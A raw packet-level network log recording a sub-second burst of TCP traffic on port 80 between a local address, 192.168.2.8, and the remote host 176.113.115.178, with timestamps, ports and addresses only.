Dec 18, 2024 14:07:42.696679115 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.697233915 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.697244883 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.697278023 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.698098898 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.698112965 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.698151112 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.699186087 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.699198961 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.699229002 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.699734926 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.699836016 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.699879885 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.700515032 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.700628996 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.700673103 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.701334000 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.701462030 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.701503992 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.702208042 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.702358007 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.702395916 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.703000069 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.703236103 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.703279972 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.703819036 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.703969955 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.704016924 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.704716921 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.704813957 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.704857111 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.705507994 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.705727100 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.705822945 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.706377029 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.706696033 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.706737995 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.707832098 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.707847118 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.707885027 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.708473921 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.708487034 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.708515882 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.708993912 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.709048033 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.709101915 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.709829092 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.709937096 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.709979057 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.710685015 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.710808039 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.710850954 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.711385965 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.711430073 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.711472988 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.712178946 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.712191105 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.712224960 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.712845087 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.713013887 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.713056087 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.713731050 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.713743925 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.713795900 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.714565039 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.714687109 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.714730978 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.715337038 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.715517998 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.715558052 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.716212034 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.716224909 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.716276884 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.716998100 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.717329979 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.717379093 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.717866898 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.718050957 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.718096972 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.718624115 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.718720913 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.718766928 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.719458103 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.719605923 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.719652891 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.720312119 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.720315933 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.720374107 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.721231937 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.768942118 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.812268972 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.812285900 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.812351942 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.812612057 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.812730074 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.812774897 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.813436031 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.813448906 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.813492060 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.814213037 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.814327955 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.814372063 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.815193892 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.815355062 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.815397978 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.815949917 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.816055059 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.816102028 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.816716909 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.816870928 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.816919088 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.817501068 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.817668915 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.817714930 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.818337917 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.818586111 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.818634033 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.819252014 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.819266081 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.819328070 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.820101023 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.820208073 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.820261955 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.820841074 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.821026087 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.821073055 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.821676970 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.821800947 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.821846962 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.822448015 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.862673044 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.880790949 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.880919933 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.881051064 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.881182909 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.881263018 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.881314993 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.882086039 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.882164955 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.882935047 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.882991076 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.883095980 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.883157969 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.883203030 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.884013891 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.884026051 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.884064913 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.884783983 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.884829998 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.884907007 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.885848999 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.886233091 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.886245966 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.886290073 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.886909008 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.886923075 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.886955023 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.887528896 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.887543917 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.887595892 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.888401985 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.888478041 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.888679028 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.889168024 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.889341116 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.890026093 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.890077114 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.890158892 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.890865088 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.890877962 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.890919924 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.891712904 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.891810894 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.892429113 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.892478943 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.892592907 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.892656088 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.893306017 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.893492937 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.893541098 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.894129992 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.894269943 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.894324064 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.895051956 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.895065069 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.895143986 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.895867109 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.896059990 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.896110058 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.896723986 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.896806002 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.896856070 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.897463083 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.897634983 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.897686005 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.898238897 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.898288965 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.898545980 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.899130106 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.899296045 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.899442911 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.899852037 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.899935961 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.899983883 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.900686026 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.900753975 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.900804043 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.901767015 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.901804924 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.901873112 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.902326107 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.902405977 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.902451992 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.903172970 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.903218031 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.903278112 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.904258013 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.904438972 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.904494047 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.905070066 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.905241013 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.905292988 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.905831099 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.905843019 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.905889988 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.906493902 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.906533003 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.906631947 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.907354116 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.907394886 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.907459021 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.908162117 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.908279896 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.908330917 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.908905029 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.909095049 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.909168005 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.909877062 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.909889936 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.909946918 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.910561085 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.910669088 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.911432981 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.911468029 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.911591053 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.911648035 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.912216902 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.912229061 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.912285089 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:42.913151026 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:42.956475019 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.004085064 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.004163980 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.004256010 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.004504919 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.004715919 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.004806995 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.005359888 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.005491018 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.006114006 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.006185055 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.006206036 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.006916046 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.006967068 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.006978035 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.007797956 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.007857084 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.007896900 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.008603096 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.008668900 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.008744955 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.009049892 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.009452105 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.009474039 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.009558916 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.010325909 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.010395050 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.010449886 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.011203051 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.011329889 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.011398077 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.011965036 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.012100935 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.012162924 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.013164043 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.013308048 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.013354063 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.013998985 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.014213085 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.014266968 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.015028000 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.065789938 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.072767973 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.072788000 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.072844982 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.073086023 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.073204041 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.073256969 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.073863983 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.074017048 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.074067116 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.074534893 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.074721098 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.075043917 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.075092077 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.075110912 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.075155973 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.075856924 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.076085091 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.076649904 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.076698065 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.076833010 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.077461004 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.077511072 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.077745914 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.077780008 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.077856064 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.078568935 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.078752041 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.078802109 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.079327106 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.079406977 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.079457998 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.080148935 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.080188036 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.080262899 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.081042051 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.081091881 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.081178904 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.081993103 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.082050085 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.082097054 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.082639933 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.082751036 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.082798004 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.083472013 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.083514929 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.083579063 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.084290028 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.084333897 CET	49707	80	192.168.2.8	176.113.115.178
